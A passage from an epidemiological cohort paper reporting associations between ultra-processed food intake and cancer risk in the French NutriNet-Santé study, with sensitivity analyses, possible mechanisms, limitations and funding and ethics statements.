During follow-up (426 362 person years, median follow-up time five years), 2228 first incident cases of cancer were diagnosed and validated, among which were 739 breast cancers (264 premenopausal, 475 postmenopausal), 281 prostate cancers, and 153 colorectal cancers. Among these 2228 cases, 108 (4.8%) were identified during mortality follow-up with the national CépiDC database. The dropout rate in the NutriNet-Santé cohort was 6.7%. Table 2shows associations between the proportion of ultra-processed foods in the diet and risks of overall, breast, prostate, and colorectal cancer. Figure 2 shows the corresponding cumulative incidence curves. In model 1, ultra-processed food intake was associated with increased risks of overall cancer (hazard ratio for a 10 point increment in the proportion of ultra-processed foods in the diet 1.12 (95% confidence interval 1.06 to 1.18), P<0.001) and breast cancer (1.11 (1.02 to 1.22), P=0.02). The latter association was more specifically observed for postmenopausal breast cancer (P=0.04) but not for premenopausal breast cancer (P=0.2). The association with overall cancer risk was statistically significant in all strata of the population investigated, after adjustment for model 1 covariates: in men (hazard ratio for a 10 point increment in the proportion of ultra-processed foods in the diet 1.12 (1.02 to 1.24), P=0.02, 663 cases and 22 158 non-cases), in women (1.13 (1.06 to 1.20), P<0.001, 1565 cases and 80 594 non-cases), in younger adults (<40 years old 1.21 (1.09 to 1.35), P<0.001, 287 cases and 48 627 non-cases), in older adults (≥40 years old, 1.09 (1.03 to 1.16), P=0.03, 1941 cases and 54 485 non-cases), in smokers (including adjustment for pack years of cigarettes smoked 1.18 (1.04 to 1.33), P=0.01, 255 cases and 15 355 non-cases), in non-smokers (1.11 (1.05 to 1.17), P<0.001, 1943 cases and 85 219 non-cases), in participants with low to moderate levels of physical activity (1.07 (1.00 to 1.15), P=0.04, 1216 cases and 59 546 non-cases), and in those with a high level of physical activity (1.19 (1.09 to 1.30), P<0.001, 744 cases and 28 859 non-cases).

Table 2 

Associations between ultra-processed food intake and risk of overall, prostate, colorectal, and breast cancer, from multivariable Cox proportional hazard models*, NutriNet-Santé cohort, France, 2009-17 (n=104 980)


“>Fig 2

Fig 2

Cumulative cancer incidence (overall cancer risk) according to quarters of proportion of ultra-processed food in diet


More specifically, ultra-processed fats and sauces (P=0.002) and sugary products (P=0.03) and drinks (P=0.005) were associated with an increased risk of overall cancer, and ultra-processed sugary products were associated with risk of breast cancer (P=0.006) (appendix 6).

Further adjustment for several indicators of the nutritional quality of the diet (lipid, sodium, and salt intakes—model 2; Western pattern—model 3; or both—model 4) did not modify these findings. The Pearson correlation coefficient between the proportion of ultra-processed food in the diet and the Western dietary pattern was low (0.06). Consistently, analyses performed according to the method proposed by Lange et al to assess a potential mediation of the relation between ultra-processed food and risk of cancer by these nutritional factors showed no statistically significant mediation effect of any of the factors tested.45 The mediated effects ranged between 0% and 2%, with all P>0.05 (appendix 4).

No association was statistically significant for prostate and colorectal cancers. However, we observed a borderline non-significant trend of increased risk of colorectal cancer associated with ultra-processed food intake (hazard ratio for quarter 4 versus quarter 1: 1.23 (1.08 to 1.40), P for trend=0.07) in model 4.

Sensitivity analyses (adjusted for model 1 covariates, data not tabulated) excluding cancer cases diagnosed during the first two years of follow-up provided similar results (hazard ratio for a 10 point increment in the proportion of ultra-processed foods in the diet 1.10 (1.03 to 1.17), P=0.005 for overall cancer risk, 1367 cases and 102 502 non-cases included; 1.15 (1.03 to 1.29), P=0.02 for breast cancer risk, 441 cases and 80 940 non-cases included). Similarly, results were unchanged when we excluded non-validated cancer cancers (hazard ratio for a 10 point increment in the proportion of ultra-processed foods in the diet 1.11 (1.05 to 1.17), P<0.001 for overall cancer risk, 1967 cases and 102 752 non-cases included; 1.12 (1.02 to 1.23), P=0.02 for breast cancer risk, 677 cases and 81 274 non-cases included).

We obtained similar results when we included only participants with at least six 24 hour records (overall cancer risk: hazard ratio for a 10 point increment in the proportion of ultra-processed foods in the diet 1.13 (1.06 to 1.21), P<0.001, 1494 cases and 47 920 non-cases included) and when we re-included participants with only one 24 hour record (overall cancer risk: 1.11 (1.06 to 1.16), P<0.001, 2383 cases and 122 196 non-cases included).

Findings were also similar when we coded the proportion of ultra-processed food in the diet as sex specific fifths instead of quarters (overall cancer risk: hazard ratio for highest versus lowest fifth 1.25 (1.08 to 1.47), P for trend<0.001; breast cancer risk: 1.25 (0.96 to 1.63), P for trend=0.03).

Further adjustment for the following variables, in addition to model 1 covariates, did not modify the results: dietary supplement use at baseline (hazard ratio for a 10 point increment in the proportion of ultra-processed foods in the diet 1.12 (1.06 to 1.17), P<0.001 for overall cancer; 1.11 (1.02 to 1.22), P=0.02 for breast cancer), prevalent depression at baseline (1.11 (1.06 to 1.17), P<0.001 for overall cancer; 1.11 (1.01 to 1.22), P=0.02 for breast cancer), healthy dietary pattern (1.11 (1.05 to 1.17), P<0.001 for overall cancer; 1.10 (1.00 to 1.21), P=0.04 for breast cancer), overall fruit and vegetable consumption in g/d (1.10 (1.04 to 1.16), P<0.001 for overall cancer; 1.11 (1.01 to 1.22), P=0.03 for breast cancer), number of smoked cigarettes in pack years (1.13 (1.07 to 1.19), P<0.001 for overall cancer; 1.13 (1.03 to 1.24), P=0.009 for breast cancer), and season of inclusion in the cohort (1.12 (1.06 to 1.18), P<0.001 for overall cancer; 1.12 (1.02 to 1.22), P=0.02 for breast cancer).

We also tested other methods for handling missing data, such as multiple imputation and complete case analysis (that is, exclusion of participants with missing data for at least one covariate).46 The results were very similar for the multiple imputation analysis (hazard ratio for a 10 point increment in the proportion of ultra-processed foods in the diet 1.11 (1.06 to 1.17), P<0.001, 2228 cases and 10 2752 non-cases for overall cancer; 1.11 (1.01 to 1.21), P=0.02, 739 cases and 81 420 non-cases for breast cancer) and for the complete case analysis (1.11 (1.05 to 1.18), P<0.001, 1813 cases and 82 824 non-cases for overall cancer; 1.14 (1.03 to 1.26), P=0.01, 579 cases and 64 642 non-cases for breast cancer).

As a secondary analysis, we also tested associations between the proportions of the three other NOVA degrees of food processing and risk of cancer. We found no significant associations between the proportions of “processed culinary ingredients” or “processed foods” with risk of cancer at any location (all P>0.05). However, and consistent with our findings, the consumption of “minimally/unprocessed foods” was associated with lower risks of overall and breast cancers (hazard ratio for a 10 point increment in the proportion of unprocessed foods in the diet 0.91 (0.87 to 0.95), P<0.001, 2228 cases and 102 752 non-cases for overall cancer; 0.42 (0.19 to 0.91), P=0.03, 739 cases and 81 420 non-cases for breast cancer), in multivariable analyses adjusted for model 1 covariates.


In this large prospective cohort, a 10% increase in the proportion of ultra-processed foods in the diet was associated with significant increases of 12% in the risk of overall cancer and 11% in the risk of breast cancer. A few studies have previously suggested that ultra-processed foods contribute to increasing the risk of cardiometabolic disorders—such as obesity,29 hypertension,30 and dyslipidaemia28—but no previous prospective epidemiological study has evaluated the association between food processing and risk cancer.

Interpretation and comparison with other studies

No estimate is available of the proportion of ultra-processed food in the diet at the national level in France. However, in the nationally representative INCA3 study conducted by the French Food safety Agency in 2016,4“transformed” foods included sweet pastries, biscuits, dairy desserts, ice cream, fruit purée and fruit in syrup, fruit and vegetable juices, soups and broths, sandwiches, pizzas, and salted pastries, as well as mixed dishes composed of egg, meat, fish, vegetable, and/or starchy foods (cereals, legumes, or potatoes). More than half of the “transformed” foods consumed outside catering establishments by adults aged 18-79 were manufactured industrially, about a third were homemade, and the rest was handcrafted (for example, by caterers). These figures illustrate the important share of processed, and especially industrially processed, foods in the diet of French adults.

Several hypotheses could be put forward to explain our findings. The first one relates to the generally poorer nutritional quality of diets rich in ultra-processed foods. Diets that include a higher proportion of processed food products tended to be richer in energy, sodium, fat, and sugar and poorer in fibres and various micronutrients in several studies conducted in various countries.101112131415161719 Ultra-processed foods have also been associated with a higher glycaemic response and a lower satiety effect.47 Although not the unique determinant, excessive energy, fat, and sugar intakes contribute to weight gain and risk of obesity, with obesity recognised as a major risk factor for post-menopausal breast, stomach, liver, colorectal, oesophagus, pancreas, kidney, gallbladder, endometrium, ovary, liver, and (advanced) prostate cancers and haematological malignancies.29 For instance, body fatness in post-menopausal women is estimated to contribute 17% of the breast cancer burden.2 Furthermore, most ultra-processed foods, such as dehydrated soups, processed meats, biscuits, and sauces, have a high salt content. Foods preserved with salt are associated with an increased risk of gastric cancer.29 Conversely, dietary fibre intake decreases the risk of colorectal cancer, with a convincing level of evidence,329 and may also reduce the risk of breast cancer.3 However, the associations between ultra-processed food intake and risk of cancer observed in this study were statistically significant despite adjustment for body mass index and remained significant after further adjustment for a Western-type dietary pattern and/or the energy, fat, sugar, and salt content of the diet. Mediation analyses did not support a strong effect of the “nutritional quality” component in this association, suggesting that other bioactive compounds contained in ultra-processed food may contribute to explain the observed associations.

A second hypothesis concerns the wide range of additives contained in ultra-processed foods. Although maximum authorised levels normally protect the consumers against adverse effects of each individual substance in a given food product,48 the effect on health of the cumulative intake across all ingested foods and potential cocktail/interaction effects remain largely unknown. More than 250 different additives are authorised for addition to food products in Europe and the US.2249 For some of them, experimental studies in animal or cellular models have suggested carcinogenic properties that deserve further investigation in humans.232450515253 One example is titanium dioxide (TiO2), a common food additive that contains nanoscale particles and that is used as a whitening agent or in packaging in contact with food or drinks to provide a better texture and antimicrobial properties. Experimental studies, mainly conducted in rodent models, suggest that this additive could initiate or promote the development of pre-neoplastic lesions in the colon, as well as chronic intestinal inflammation. The World Health Organization and the International Agency for Research on Cancer evaluated TiO2 as “possibly carcinogenic to humans” (group 2B).24 The effects of intense artificial sweeteners such as aspartame on human metabolism and on the composition and functioning of gut microbiota are also controversial.53 Although previous experimental studies in animals confirmed the safety of aspartame, their relevance to human health outcomes has been questioned, particularly regarding potential long term carcinogenicity.51 Another concern is the formation of carcinogenic nitrosamines in meats containing sodium nitrite when meat is charred or overcooked. These N-nitroso compounds may be involved in causing colorectal cancer.2352

Thirdly, food processing and particularly heat treatments produce neoformed contaminants (for example, acrylamide) in ultra-processed products such as fried potatoes, biscuits, bread, or coffee. A recent meta-analysis found a modest association between dietary acrylamide and risk of both kidney and endometrial cancer in non-smokers.54 In addition, the European Food Safety Agency judged that evidence from animal studies was sufficient to classify acrylamide as genotoxic.20

Lastly, bisphenol A is another contaminant suspected of migrating from plastic packaging of ultra-processed foods. Its endocrine disruptor properties led the European Chemicals Agency to judge it as “a substance of very high concern.”55 Increasing evidence suggests involvement in the development of several non-communicable diseases, including cancer linked to endocrinal disruptors.21

Strengths and limitations of study

Strengths of this study pertain to its prospective design and large sample size, along with a detailed and up to date assessment of dietary intake. Repeated 24 hour dietary records (including 3300 different food items) are more accurate than either food frequency questionnaires with aggregated food groups or household purchasing data. However, some limitations should be acknowledged. Firstly, as is generally the case in volunteer based cohorts, participants in the NutriNet-Santé cohort were more often women, with health conscious behaviours and higher socio-professional and educational levels than the general French population.56 This might limit the generalisability of the findings and may have resulted in a lower incidence of cancer compared with national estimates (age and sex standardised incidence rate per 100 000 people per year: 786 cases in our cohort versus 972 cases in France57) and an overall lower exposure to ultra-processed foods, with less contrast between extreme categories. These points would tend to lead to underestimation of the strength of the associations. However, the possibility that selection bias may have led to an overestimation of some associations cannot be totally excluded. Secondly, some misclassification in the NOVA “ultra-processed food” category cannot be ruled out. Thirdly, despite a multi-source strategy for case ascertainment (combining validation of health events declared by participants, medico-administrative databases from the health insurance, and national death registry), exhaustive detection of cancer cases cannot be guaranteed. Furthermore, statistical power was limited for some cancer locations (such as colorectal cancer), which may have impaired our ability to detect hypothesised associations. Next, the length of follow-up was relatively limited, as the cohort was launched in 2009. It allowed us to study mostly mid-term associations between consumption of ultra-processed food and risk of cancer. As is usually the case in nutritional epidemiology, we made the assumption that the measured exposure at baseline (especially as we averaged a two year period of exposure) actually reflects more generally the usual eating habits of the individual during adulthood, including several years before his or her entry into the cohort. However, as some carcinogenic processes may take several decades, it will be important in the future to reassess the associations between ultra-processed food and cancer risk in the cohort, to investigate longer term effects. This will be one of the perspectives of our work for the upcoming five to 10 years. Lastly, although we included a large range of confounding factors in the analyses, the hypothesis of residual confounding resulting from unmeasured behavioural factors and/or imprecision in the measure of included covariates cannot be entirely excluded owing to the observational design of this study. For instance, oral contraception was a binary variable in breast cancer models, as the precise doses, type, and duration of contraceptive use across reproductive life were not available. Randomised controlled trials have long been considered the only gold standard for elimination of confounding bias, but they do not capture consumption as it is in daily life. Moreover, a trial to investigate exposure for which a deleterious effect is suspected would not be ethically feasible. Our large observational cohort was therefore particularly adapted to provide insights in this field.

Conclusions and policy implications

To our knowledge, this study was the first to investigate and highlight an increase in the risk of overall—and more specifically breast—cancer associated with ultra-processed food intake. These results should be confirmed by other large scale, population based observational studies in different populations and settings. Further studies are also needed to better understand the relative effect of nutritional composition, food additives, contact materials, and neoformed contaminants in this relation. Rapidly increasing consumption of ultra-processed foods may drive an increasing burden of cancer and other non-communicable diseases. Thus, policy actions targeting product reformulation, taxation, and marketing restrictions on ultra-processed products and promotion of fresh or minimally processed foods may contribute to primary cancer prevention.69 Several countries have already introduced this aspect in their official nutritional recommendations in the name of the precautionary principle.5859

What is already known on this topic

  • Ultra-processed foods are often characterised by lower nutritional quality and the presence of additives, substances from packaging in contact with food, and compounds formed during production, processing, and storage

  • A few studies have observed ultra-processed food intake to be associated with a higher incidence of dyslipidaemia in Brazilian children and higher risks of overweight, obesity, and hypertension in Spanish university students

  • Although epidemiological data relating to cancer risk are lacking, mechanistic studies suggest potential carcinogenic effects of several components commonly found in ultra-processed foods

What this study adds

  • This study assessed the associations between ultra-processed food consumption and risk of cancer in a large prospective cohort

  • A 10% increase in the proportion of ultra-processed foods in the diet was associated with a significant increase of more than 10% in the risks of overall and breast cancer

  • If confirmed in other populations and settings, these results suggest that the rapidly increasing consumption of ultra-processed foods may drive an increasing burden of cancer in the next decades


We sincerely thank all the volunteers of the NutriNet-Santé cohort. We also thank Véronique Gourlet, Lucien Martinez, Nathalie Arnault, Stephen Besseau, Laurent Bourhis, Yasmina Chelghoum, Than Duong Van, Younes Esseddik, Paul Flanzy, Julien Allègre, Mac Rakotondrazafy, Régis Gatibelza, Fabien Szabo, Roland Andrianasolo, Fatoumata Diallo, Ludivine Ursule, Cédric Agaesse, Claudia Chahine, Anne-Elise Dussoulier, and Marion Genest for their technical contribution to the NutriNet-Santé study.


  • Contributors: TF and BS contributed equally and are co-first authors. TF, BS, CJ, EKG, CAM, BA, and MT designed the research. SH, MT, CJ, and EKG conducted the research. TF did the statistical analysis, supervised by MT and BS. TF and MT wrote the paper. BS did sensitivity analyses and was in charge of the revision of the paper. All authors contributed to the data interpretation, revised each draft for important intellectual content, and read and approved the final manuscript. MT is the guarantor.

  • Funding: The NutriNet-Santé study was supported by the following public institutions: Ministère de la Santé, Institut de Veille Sanitaire (InVS), Institut National de la Prévention et de l’Education pour la Santé (INPES), Région Ile-de-France (CORDDIM), Institut National de la Santé et de la Recherche Médicale (INSERM), Institut National de la Recherche Agronomique (INRA), Conservatoire National des Arts et Métiers (CNAM), and Université Paris 13. MD and PF were funded by a PhD grant from the Cancéropôle Ile de France/Région Ile de France (public funding). BS was funded by the French National Cancer Institute (grant number INCa_8085). Researchers were independent from funders. Funders had no role in the study design; the collection, analysis, and interpretation of data; the writing of the report; or the decision to submit the article for publication.

  • Competing interests: All authors have completed the ICMJE uniform disclosure form at (available on request from the corresponding author) and declare: no support from any organisation for the submitted work other than that described above; no financial relationships with any organisations that might have an interest in the submitted work in the previous three years; no other relationships or activities that could appear to have influenced the submitted work.

  • Ethical approval: The NutriNet-Santé study was approved by the Institutional Review Board of the French Institute for Health and Medical Research (IRB Inserm No 0000388FWA00005831) and the Commission Nationale de l’Informatique et des Libertés (CNIL No 908450/No 909216). Electronic informed consent was obtained from each participant.

  • Transparency statement: MT (the guarantor) affirms that the manuscript is an honest, accurate, and transparent account of the study being reported; that no important aspects of the study have been omitted; and that any discrepancies from the study as planned (and, if relevant, registered) have been explained.

  • Data sharing: No additional data available.

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